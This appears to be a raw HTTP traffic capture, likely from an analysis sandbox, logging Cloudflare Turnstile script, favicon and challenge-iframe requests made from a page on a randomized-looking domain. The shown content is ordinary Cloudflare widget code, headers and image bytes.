2025-04-22 18:09:29 UTC	1369	IN	Data Raw: 74 69 6f 6e 3a 22 54 75 72 6e 73 74 69 6c 65 27 73 20 61 70 69 2e 6a 73 20 77 61 73 20 6c 6f 61 64 65 64 2c 20 62 75 74 20 74 68 65 20 69 66 72 61 6d 65 20 75 6e 64 65 72 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 6c 6f 61 64 65 64 2e 20 48 61 73 20 74 68 65 20 76 69 73 69 74 6f 72 20 62 6c 6f 63 6b 65 64 20 73 6f 6d 65 20 70 61 72 74 73 20 6f 66 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 6f 72 20 61 72 65 20 74 68 65 79 20 73 65 6c 66 2d 68 6f 73 74 69 6e 67 20 61 70 69 2e 6a 73 3f 22 7d 3b 76 61 72 20 51 74 3d 33 30 30 30 32 30 3b 76 61 72 20 57 65 3d 33 30 30 30 33 30 3b 76 61 72 20 55 65 3d 33 30 30 30 33 31 3b 76 61 72 20 71 3b 28 66 75 Data Ascii: tion:"Turnstile's api.js was loaded, but the iframe under challenges.cloudflare.com could not be loaded. Has the visitor blocked some parts of challenges.cloudflare.com or are they self-hosting api.js?"};var Qt=300020;var We=300030;var Ue=300031;var q;(fu
2025-04-22 18:09:29 UTC	1369	IN	Data Raw: 61 6e 75 61 6c 22 2c 65 2e 41 75 74 6f 3d 22 61 75 74 6f 22 7d 29 28 5a 7c 7c 28 5a 3d 7b 7d 29 29 3b 76 61 72 20 63 65 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 4e 65 76 65 72 3d 22 6e 65 76 65 72 22 2c 65 2e 4d 61 6e 75 61 6c 3d 22 6d 61 6e 75 61 6c 22 2c 65 2e 41 75 74 6f 3d 22 61 75 74 6f 22 7d 29 28 63 65 7c 7c 28 63 65 3d 7b 7d 29 29 3b 76 61 72 20 51 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 41 6c 77 61 79 73 3d 22 61 6c 77 61 79 73 22 2c 65 2e 45 78 65 63 75 74 65 3d 22 65 78 65 63 75 74 65 22 2c 65 2e 49 6e 74 65 72 61 63 74 69 6f 6e 4f 6e 6c 79 3d 22 69 6e 74 65 72 61 63 74 69 6f 6e 2d 6f 6e 6c 79 22 7d 29 28 51 7c 7c 28 51 3d 7b 7d 29 29 3b 76 61 72 20 6d 65 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 52 65 6e 64 65 72 3d 22 72 Data Ascii: anual",e.Auto="auto"})(Z\|\|(Z={}));var ce;(function(e){e.Never="never",e.Manual="manual",e.Auto="auto"})(ce\|\|(ce={}));var Q;(function(e){e.Always="always",e.Execute="execute",e.InteractionOnly="interaction-only"})(Q\|\|(Q={}));var me;(function(e){e.Render="r
2025-04-22 18:09:29 UTC	1369	IN	Data Raw: 74 69 6f 6e 20 70 74 28 65 29 7b 72 65 74 75 72 6e 20 4c 28 5b 4d 2e 4e 6f 72 6d 61 6c 2c 4d 2e 43 6f 6d 70 61 63 74 2c 4d 2e 49 6e 76 69 73 69 62 6c 65 2c 4d 2e 46 6c 65 78 69 62 6c 65 5d 2c 65 29 7d 66 75 6e 63 74 69 6f 6e 20 76 74 28 65 29 7b 72 65 74 75 72 6e 20 4c 28 5b 22 61 75 74 6f 22 2c 22 6d 61 6e 75 61 6c 22 2c 22 6e 65 76 65 72 22 5d 2c 65 29 7d 66 75 6e 63 74 69 6f 6e 20 6d 74 28 65 29 7b 72 65 74 75 72 6e 20 4c 28 5b 22 61 75 74 6f 22 2c 22 6d 61 6e 75 61 6c 22 2c 22 6e 65 76 65 72 22 5d 2c 65 29 7d 76 61 72 20 4e 72 3d 2f 5e 5b 61 2d 7a 5d 7b 32 2c 33 7d 28 5b 2d 5f 5d 5b 61 2d 7a 5d 7b 32 7d 29 3f 24 2f 69 3b 66 75 6e 63 74 69 6f 6e 20 67 74 28 65 29 7b 72 65 74 75 72 6e 20 65 3d 3d 3d 22 61 75 74 6f 22 7c 7c 4e 72 2e 74 65 73 74 28 65 29 Data Ascii: tion pt(e){return L([M.Normal,M.Compact,M.Invisible,M.Flexible],e)}function vt(e){return L(["auto","manual","never"],e)}function mt(e){return L(["auto","manual","never"],e)}var Nr=/^[a-z]{2,3}([-_][a-z]{2})?$/i;function gt(e){return e==="auto"\|\|Nr.test(e)
2025-04-22 18:09:29 UTC	1369	IN	Data Raw: 22 72 6f 2d 72 6f 22 5d 3b 66 75 6e 63 74 69 6f 6e 20 54 74 28 65 2c 74 29 7b 76 61 72 20 61 3d 22 68 74 74 70 73 3a 2f 2f 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 22 3b 69 66 28 74 29 7b 76 61 72 20 6f 3b 61 3d 28 6f 3d 65 5b 22 62 61 73 65 2d 75 72 6c 22 5d 29 21 3d 3d 6e 75 6c 6c 26 26 6f 21 3d 3d 76 6f 69 64 20 30 3f 6f 3a 61 7d 72 65 74 75 72 6e 20 61 7d 66 75 6e 63 74 69 6f 6e 20 52 74 28 65 2c 74 2c 61 2c 6f 2c 63 2c 6c 2c 76 2c 68 29 7b 76 61 72 20 73 3d 54 74 28 61 2c 63 29 2c 70 3d 6c 3f 22 68 2f 22 2e 63 6f 6e 63 61 74 28 6c 2c 22 2f 22 29 3a 22 22 2c 5f 3d 68 3f 22 3f 22 2e 63 6f 6e 63 61 74 28 68 29 3a 22 22 2c 41 3d 61 5b 22 66 65 65 64 62 61 63 6b 2d 65 6e 61 62 6c 65 64 22 5d 3d 3d 3d 21 31 3f 22 66 62 44 Data Ascii: "ro-ro"];function Tt(e,t){var a="https://challenges.cloudflare.com";if(t){var o;a=(o=e["base-url"])!==null&&o!==void 0?o:a}return a}function Rt(e,t,a,o,c,l,v,h){var s=Tt(a,c),p=l?"h/".concat(l,"/"):"",_=h?"?".concat(h):"",A=a["feedback-enabled"]===!1?"fbD
2025-04-22 18:09:29 UTC	1369	IN	Data Raw: 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 7c 7c 66 75 6e 63 74 69 6f 6e 28 6f 2c 63 29 7b 72 65 74 75 72 6e 20 6f 2e 5f 5f 70 72 6f 74 6f 5f 5f 3d 63 2c 6f 7d 2c 65 65 28 65 2c 74 29 7d 66 75 6e 63 74 69 6f 6e 20 75 72 28 65 2c 74 29 7b 69 66 28 74 79 70 65 6f 66 20 74 21 3d 22 66 75 6e 63 74 69 6f 6e 22 26 26 74 21 3d 3d 6e 75 6c 6c 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 53 75 70 65 72 20 65 78 70 72 65 73 73 69 6f 6e 20 6d 75 73 74 20 65 69 74 68 65 72 20 62 65 20 6e 75 6c 6c 20 6f 72 20 61 20 66 75 6e 63 74 69 6f 6e 22 29 3b 65 2e 70 72 6f 74 6f 74 79 70 65 3d 4f 62 6a 65 63 74 2e 63 72 65 61 74 65 28 74 26 26 74 2e 70 72 6f 74 6f 74 79 70 65 2c 7b 63 6f 6e 73 74 72 75 63 74 6f 72 3a 7b 76 61 6c 75 65 3a 65 2c 77 72 69 74 Data Ascii: .setPrototypeOf\|\|function(o,c){return o.__proto__=c,o},ee(e,t)}function ur(e,t){if(typeof t!="function"&&t!==null)throw new TypeError("Super expression must either be null or a function");e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,writ
2025-04-22 18:09:29 UTC	1369	IN	Data Raw: 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 7d 7d 29 2c 65 65 28 63 2c 6f 29 7d 2c 47 65 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 73 72 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 74 26 26 28 46 28 74 29 3d 3d 3d 22 6f 62 6a 65 63 74 22 7c 7c 74 79 70 65 6f 66 20 74 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 29 3f 74 3a 7a 65 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 64 72 28 65 29 7b 76 61 72 20 74 3d 42 65 28 29 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 6f 3d 6c 65 28 65 29 2c 63 3b 69 66 28 74 29 7b 76 61 72 20 6c 3d 6c 65 28 74 68 69 73 29 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3b 63 3d 52 65 66 6c 65 63 74 2e 63 6f 6e 73 74 72 75 63 74 28 6f 2c 61 72 67 75 6d 65 6e 74 73 2c 6c 29 7d 65 6c 73 65 20 63 3d 6f 2e 61 70 70 6c 79 28 74 68 69 73 2c 61 72 Data Ascii: nfigurable:!0}}),ee(c,o)},Ge(e)}function sr(e,t){return t&&(F(t)==="object"\|\|typeof t=="function")?t:ze(e)}function dr(e){var t=Be();return function(){var o=le(e),c;if(t){var l=le(this).constructor;c=Reflect.construct(o,arguments,l)}else c=o.apply(this,ar
2025-04-22 18:09:29 UTC	1369	IN	Data Raw: 74 69 6f 6e 28 65 2c 74 2c 61 29 7b 76 61 72 20 6f 3d 54 74 28 74 2e 70 61 72 61 6d 73 2c 21 31 29 2c 63 3d 22 68 2f 22 2e 63 6f 6e 63 61 74 28 22 67 22 2c 22 2f 22 29 2c 6c 2c 76 2c 68 3d 22 22 2e 63 6f 6e 63 61 74 28 6f 2c 22 2f 63 64 6e 2d 63 67 69 2f 63 68 61 6c 6c 65 6e 67 65 2d 70 6c 61 74 66 6f 72 6d 2f 22 29 2e 63 6f 6e 63 61 74 28 63 2c 22 66 65 65 64 62 61 63 6b 2d 72 65 70 6f 72 74 73 2f 22 29 2e 63 6f 6e 63 61 74 28 58 65 28 65 29 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 74 2e 64 69 73 70 6c 61 79 4c 61 6e 67 75 61 67 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 28 76 3d 74 2e 70 61 72 61 6d 73 2e 74 68 65 6d 65 29 21 3d 3d 6e 75 6c 6c 26 26 76 21 3d 3d 76 6f 69 64 20 30 3f 76 3a 74 2e 74 68 65 6d 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 61 29 3b Data Ascii: tion(e,t,a){var o=Tt(t.params,!1),c="h/".concat("g","/"),l,v,h="".concat(o,"/cdn-cgi/challenge-platform/").concat(c,"feedback-reports/").concat(Xe(e),"/").concat(t.displayLanguage,"/").concat((v=t.params.theme)!==null&&v!==void 0?v:t.theme,"/").concat(a);

Timestamp	Bytes transferred	Direction	Data
2025-04-22 18:09:30 UTC	637	OUT	GET /favicon.png HTTP/1.1 Host: developers.cloudflare.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Sec-Fetch-Storage-Access: active Referer: https://ranr5.oqgriud.es/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-22 18:09:30 UTC	741	IN	HTTP/1.1 200 OK Date: Tue, 22 Apr 2025 18:09:30 GMT Content-Type: image/png Content-Length: 937 Connection: close Server: cloudflare X-Content-Type-Options: nosniff Cf-Cache-Status: HIT Access-Control-Allow-Origin: * Cache-Control: public, max-age=0, must-revalidate Etag: "6be7ff94b6151f8cfbf08b53a17e2ac1" Cf-Ray: 93471294ff4c5227-LAX Strict-Transport-Security: max-age=15552000; preload Set-Cookie: __cf_bm=qCoixd8w2GFi6BdzV9xSJj.IuAbmRpKPmFtkIxiIDrU-1745345370-1.0.1.1-9QTgFU.ViFwh4bA0JOJApE9n9MtnoUEH4fRGJ4bwE8fpG1l6vk0sT3Bln0tfKvS.iEMrtqCOrc9U_sr05mBKhbdYs8UVq4JhsIatLERXE40; HttpOnly; SameSite=None; Secure; Path=/; Domain=developers.cloudflare.com; Expires=Tue, 22 Apr 2025 18:39:30 GMT alt-svc: h3=":443"; ma=86400
2025-04-22 18:09:30 UTC	628	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 09 70 48 59 73 00 00 0b 12 00 00 0b 12 01 d2 dd 7e fc 00 00 03 5b 49 44 41 54 58 c3 ed 96 4b 48 54 51 18 c7 67 e6 86 91 04 d1 26 e8 a1 d7 c9 02 21 70 59 2d d4 71 d4 96 2d 42 93 48 82 08 a3 16 51 60 48 59 99 77 4c a7 4c ed b1 0d 8a da 44 a4 e6 a3 b2 a8 a8 4d bb 68 53 8b 48 a2 77 b4 c9 8d 77 46 e7 de 79 7c fd bf 73 cf 9d 39 8e 8f 32 85 36 73 e0 c7 77 e7 dc c7 ff ff 7d df 39 f7 8e c7 93 1b b9 b1 c0 11 6d f7 7b 22 a1 22 71 cc 51 85 c7 78 f3 5a 4f a4 bd 68 e9 85 55 11 79 ec 33 0d 5d 03 5e b3 4d f7 20 fa 30 a7 01 ef 44 37 4c 1a 99 eb 97 44 dc cc 88 b3 b0 77 de eb 0d 61 24 7d 2f 75 fa 17 29 6e e8 ee b1 a6 cc 07 40 17 18 04 a3 e0 06 38 08 56 f3 79 36 a9 9a Data Ascii: PNGIHDR szzpHYs~[IDATXKHTQg&!pY-q-BHQ`HYwLLDMhSHwwFy\|s926sw}9m{""qQxZOhUy3]^M 0D7LDwa$}/u)n@8Vy6
2025-04-22 18:09:30 UTC	309	IN	Data Raw: 99 e5 01 1a ae 24 1a 01 0f 82 94 b8 17 10 11 06 de c4 b1 28 5d f1 0e ee 39 df 2c 85 85 09 69 c6 04 d7 c0 65 d0 03 c2 20 04 ce 80 13 a0 09 1c 01 87 e4 9b b0 01 bd 5f 93 b5 e8 ca 40 13 68 01 2f 84 89 fb c2 c4 2e 16 2f 55 32 4e 64 f5 92 e4 8b e6 07 f8 2e f9 a6 f0 55 f2 05 7c 06 9f c0 7b d0 28 16 da cd ad 79 10 09 81 d7 60 0c 7c 04 e3 dc 02 7a 5c cd 06 7a d9 40 0b 6f 35 18 88 e1 2d 98 94 0b 4f f4 54 c6 54 4c 29 af 35 17 1d ce 79 b1 6d 0d 9d ab 96 0f 81 01 7a 5a e3 94 7f d8 81 b3 c7 bc c5 8b 12 f1 3a 1b b8 42 97 8a 69 0a e5 8e 77 ce 82 d2 eb 3f 21 0c f0 f6 6d 2d 78 69 f5 95 1f a6 e7 3b 9c 9e 0f 65 0c 30 c9 41 cc e1 1c 57 c7 7d bf ef 45 a6 b5 88 75 ff 0a ee e7 c8 cf 68 30 4f ad 2f c5 de df 82 55 df 00 6a 41 1d c4 ea 2c 20 a2 f3 7b 0f 28 fc ff 7f b1 f8 dd cf 5f Data Ascii: $(]9,ie _@h/./U2Nd.U\|{(y`\|z\z@o5-OTTL)5ymzZ:Biw?!m-xi;e0AW}Euh0O/UjA, {(_

Timestamp	Bytes transferred	Direction	Data
2025-04-22 18:09:30 UTC	588	OUT	GET /favicon.png HTTP/1.1 Host: developers.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: __cf_bm=qCoixd8w2GFi6BdzV9xSJj.IuAbmRpKPmFtkIxiIDrU-1745345370-1.0.1.1-9QTgFU.ViFwh4bA0JOJApE9n9MtnoUEH4fRGJ4bwE8fpG1l6vk0sT3Bln0tfKvS.iEMrtqCOrc9U_sr05mBKhbdYs8UVq4JhsIatLERXE40
2025-04-22 18:09:31 UTC	435	IN	HTTP/1.1 200 OK Date: Tue, 22 Apr 2025 18:09:31 GMT Content-Type: image/png Content-Length: 937 Connection: close Cf-Ray: 9347129a2c2b1b4b-PHX Server: cloudflare Cf-Cache-Status: HIT Access-Control-Allow-Origin: * Cache-Control: public, max-age=0, must-revalidate Etag: "6be7ff94b6151f8cfbf08b53a17e2ac1" Strict-Transport-Security: max-age=15552000; preload X-Content-Type-Options: nosniff alt-svc: h3=":443"; ma=86400
2025-04-22 18:09:31 UTC	934	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 09 70 48 59 73 00 00 0b 12 00 00 0b 12 01 d2 dd 7e fc 00 00 03 5b 49 44 41 54 58 c3 ed 96 4b 48 54 51 18 c7 67 e6 86 91 04 d1 26 e8 a1 d7 c9 02 21 70 59 2d d4 71 d4 96 2d 42 93 48 82 08 a3 16 51 60 48 59 99 77 4c a7 4c ed b1 0d 8a da 44 a4 e6 a3 b2 a8 a8 4d bb 68 53 8b 48 a2 77 b4 c9 8d 77 46 e7 de 79 7c fd bf 73 cf 9d 39 8e 8f 32 85 36 73 e0 c7 77 e7 dc c7 ff ff 7d df 39 f7 8e c7 93 1b b9 b1 c0 11 6d f7 7b 22 a1 22 71 cc 51 85 c7 78 f3 5a 4f a4 bd 68 e9 85 55 11 79 ec 33 0d 5d 03 5e b3 4d f7 20 fa 30 a7 01 ef 44 37 4c 1a 99 eb 97 44 dc cc 88 b3 b0 77 de eb 0d 61 24 7d 2f 75 fa 17 29 6e e8 ee b1 a6 cc 07 40 17 18 04 a3 e0 06 38 08 56 f3 79 36 a9 9a Data Ascii: PNGIHDR szzpHYs~[IDATXKHTQg&!pY-q-BHQ`HYwLLDMhSHwwFy\|s926sw}9m{""qQxZOhUy3]^M 0D7LDwa$}/u)n@8Vy6
2025-04-22 18:09:31 UTC	3	IN	Data Raw: 42 60 82 Data Ascii: B`

Timestamp	Bytes transferred	Direction	Data
2025-04-22 18:09:31 UTC	841	OUT	GET /cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/fd6k9/0x4AAAAAABLO6rHX9j2eSnXT/auto/fbE/new/normal/auto/ HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Sec-Fetch-Storage-Access: active Referer: https://ranr5.oqgriud.es/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-22 18:09:31 UTC	1297	IN	HTTP/1.1 200 OK Date: Tue, 22 Apr 2025 18:09:31 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 27894 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 permissions-policy: accelerometer=(),autoplay=(),browsing-topics=(),camera=(),clipboard-read=(),clipboard-write=(),geolocation=(),gyroscope=(),hid=(),interest-cohort=(),magnetometer=(),microphone=(),payment=(),publickey-credentials-get=(),screen-wake-lock=(),serial=(),sync-xhr=(),usb=() content-security-policy: default-src 'none'; script-src 'nonce-QA8tQ0YFwrczwEzx' 'unsafe-eval'; script-src-attr 'none'; worker-src blob:; style-src 'unsafe-inline'; img-src 'self'; connect-src 'self'; frame-src 'self' blob:; child-src 'self' blob:; form-action 'none'; base-uri 'self'; sandbox allow-same-origin allow-scripts allow-popups allow-forms cross-origin-embedder-policy: require-corp cross-origin-opener-policy: same-origin cross-origin-resource-policy: cross-origin origin-agent-cluster: ?1 accept-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA
2025-04-22 18:09:31 UTC	411	IN	Data Raw: 63 72 69 74 69 63 61 6c 2d 63 68 3a 20 53 65 63 2d 43 48 2d 55 41 2d 42 69 74 6e 65 73 73 2c 20 53 65 63 2d 43 48 2d 55 41 2d 41 72 63 68 2c 20 53 65 63 2d 43 48 2d 55 41 2d 4d 6f 62 69 6c 65 2c 20 53 65 63 2d 43 48 2d 55 41 2d 4d 6f 64 65 6c 2c 20 53 65 63 2d 43 48 2d 55 41 2d 50 6c 61 74 66 6f 72 6d 2d 56 65 72 73 69 6f 6e 2c 20 53 65 63 2d 43 48 2d 55 41 2d 46 75 6c 6c 2d 56 65 72 73 69 6f 6e 2d 4c 69 73 74 2c 20 53 65 63 2d 43 48 2d 55 41 2d 50 6c 61 74 66 6f 72 6d 2c 20 53 65 63 2d 43 48 2d 55 41 2c 20 55 41 2d 42 69 74 6e 65 73 73 2c 20 55 41 2d 41 72 63 68 2c 20 55 41 2d 46 75 6c 6c 2d 56 65 72 73 69 6f 6e 2c 20 55 41 2d 4d 6f 62 69 6c 65 2c 20 55 41 2d 4d 6f 64 65 6c 2c 20 55 41 2d 50 6c 61 74 66 6f 72 6d 2d 56 65 72 73 69 6f 6e 2c 20 55 41 2d 50 Data Ascii: critical-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-P
2025-04-22 18:09:31 UTC	1030	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 78 2d 75 61 2d 63 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 73 65 63 75 72 69 74 79 2d 70 6f 6c 69 63 79 22 20 63 6f 6e 74 65 6e 74 3d 22 64 65 66 61 75 6c 74 2d 73 72 63 20 26 23 78 32 37 3b 6e 6f 6e 65 26 23 78 32 37 3b 3b 20 73 63 72 69 70 74 2d 73 72 63 20 26 23 78 32 37 3b 6e 6f 6e 63 65 2d 51 41 38 74 51 30 59 46 77 72 63 7a 77 45 7a 78 26 23 78 32 37 3b 20 26 23 78 32 37 3b 75 6e 73 61 66 65 2d Data Ascii: <!DOCTYPE HTML><html lang="en-US"><head> <meta http-equiv="x-ua-compatible" content="IE=Edge,chrome=1"> <meta http-equiv="content-security-policy" content="default-src 'none'; script-src 'nonce-QA8tQ0YFwrczwEzx' 'unsafe-
2025-04-22 18:09:31 UTC	1369	IN	Data Raw: 6d 65 73 20 66 69 6c 6c 66 61 69 6c 7b 74 6f 7b 62 6f 78 2d 73 68 61 64 6f 77 3a 69 6e 73 65 74 20 30 20 33 30 70 78 20 30 20 30 20 23 64 65 31 33 30 33 7d 7d 40 6b 65 79 66 72 61 6d 65 73 20 66 69 6c 6c 66 61 69 6c 2d 6f 66 66 6c 61 62 65 6c 7b 74 6f 7b 62 6f 78 2d 73 68 61 64 6f 77 3a 69 6e 73 65 74 20 30 20 30 20 30 20 33 30 70 78 20 23 32 33 32 33 32 33 7d 7d 40 6b 65 79 66 72 61 6d 65 73 20 66 69 6c 6c 66 61 69 6c 2d 6f 66 66 6c 61 62 65 6c 2d 64 61 72 6b 7b 74 6f 7b 62 6f 78 2d 73 68 61 64 6f 77 3a 69 6e 73 65 74 20 30 20 30 20 30 20 33 30 70 78 20 23 66 66 66 7d 7d 40 6b 65 79 66 72 61 6d 65 73 20 73 63 61 6c 65 2d 75 70 2d 63 65 6e 74 65 72 7b 30 25 7b 74 72 61 6e 73 66 6f 72 6d 3a 73 63 61 6c 65 28 2e 30 31 29 7d 74 6f 7b 74 72 61 6e 73 66 6f 72 Data Ascii: mes fillfail{to{box-shadow:inset 0 30px 0 0 #de1303}}@keyframes fillfail-offlabel{to{box-shadow:inset 0 0 0 30px #232323}}@keyframes fillfail-offlabel-dark{to{box-shadow:inset 0 0 0 30px #fff}}@keyframes scale-up-center{0%{transform:scale(.01)}to{transfor
2025-04-22 18:09:31 UTC	1369	IN	Data Raw: 61 6c 69 67 6e 3a 72 69 67 68 74 7d 23 6f 76 65 72 72 75 6e 2d 69 2c 23 76 65 72 69 66 79 69 6e 67 2d 69 7b 61 6e 69 6d 61 74 69 6f 6e 3a 73 70 69 6e 20 35 73 20 6c 69 6e 65 61 72 20 69 6e 66 69 6e 69 74 65 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 68 65 69 67 68 74 3a 33 30 70 78 3b 77 69 64 74 68 3a 33 30 70 78 7d 23 66 61 69 6c 2d 69 7b 61 6e 69 6d 61 74 69 6f 6e 3a 73 63 61 6c 65 2d 75 70 2d 63 65 6e 74 65 72 20 2e 36 73 20 63 75 62 69 63 2d 62 65 7a 69 65 72 28 2e 35 35 2c 2e 30 38 35 2c 2e 36 38 2c 2e 35 33 29 20 62 6f 74 68 3b 62 6f 78 2d 73 68 61 64 6f 77 3a 69 6e 73 65 74 20 30 20 30 20 30 20 23 64 65 31 33 30 33 7d 23 66 61 69 6c 2d 69 2c 23 73 75 63 63 65 73 73 2d 69 7b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 35 30 25 3b 64 69 73 70 6c 61 79 Data Ascii: align:right}#overrun-i,#verifying-i{animation:spin 5s linear infinite;display:flex;height:30px;width:30px}#fail-i{animation:scale-up-center .6s cubic-bezier(.55,.085,.68,.53) both;box-shadow:inset 0 0 0 #de1303}#fail-i,#success-i{border-radius:50%;display
2025-04-22 18:09:31 UTC	1369	IN	Data Raw: 2d 73 68 61 64 6f 77 3a 69 6e 73 65 74 20 30 20 30 20 30 20 23 30 61 61 39 33 37 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 73 75 63 63 65 73 73 2d 63 69 72 63 6c 65 7b 73 74 72 6f 6b 65 3a 23 30 61 61 39 33 37 3b 66 69 6c 6c 3a 23 30 61 61 39 33 37 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 65 78 70 69 72 65 64 2d 63 69 72 63 6c 65 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 74 69 6d 65 6f 75 74 2d 63 69 72 63 6c 65 7b 73 74 72 6f 6b 65 2d 64 61 73 68 61 72 72 61 79 3a 31 36 36 3b 73 74 72 6f 6b 65 2d 64 61 73 68 6f 66 66 73 65 74 3a 31 36 36 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 32 3b 73 74 72 6f 6b 65 2d 6d 69 74 65 72 6c 69 6d 69 74 3a 31 30 3b 73 74 72 6f 6b 65 3a 23 39 39 39 3b 66 69 6c 6c 3a 23 39 39 39 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 65 Data Ascii: -shadow:inset 0 0 0 #0aa937}.theme-dark .success-circle{stroke:#0aa937;fill:#0aa937}.theme-dark .expired-circle,.theme-dark .timeout-circle{stroke-dasharray:166;stroke-dashoffset:166;stroke-width:2;stroke-miterlimit:10;stroke:#999;fill:#999}.theme-dark #e
2025-04-22 18:09:31 UTC	1369	IN	Data Raw: 34 31 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 68 31 7b 63 6f 6c 6f 72 3a 23 66 66 66 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 7b 63 6f 6c 6f 72 3a 23 66 66 61 32 39 39 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 61 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 61 3a 6c 69 6e 6b 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 61 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 62 62 62 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 61 3a 61 63 74 69 76 Data Ascii: 41}.theme-dark h1{color:#fff}.theme-dark #challenge-error-title{color:#ffa299}.theme-dark #challenge-error-title a,.theme-dark #challenge-error-title a:link,.theme-dark #challenge-error-title 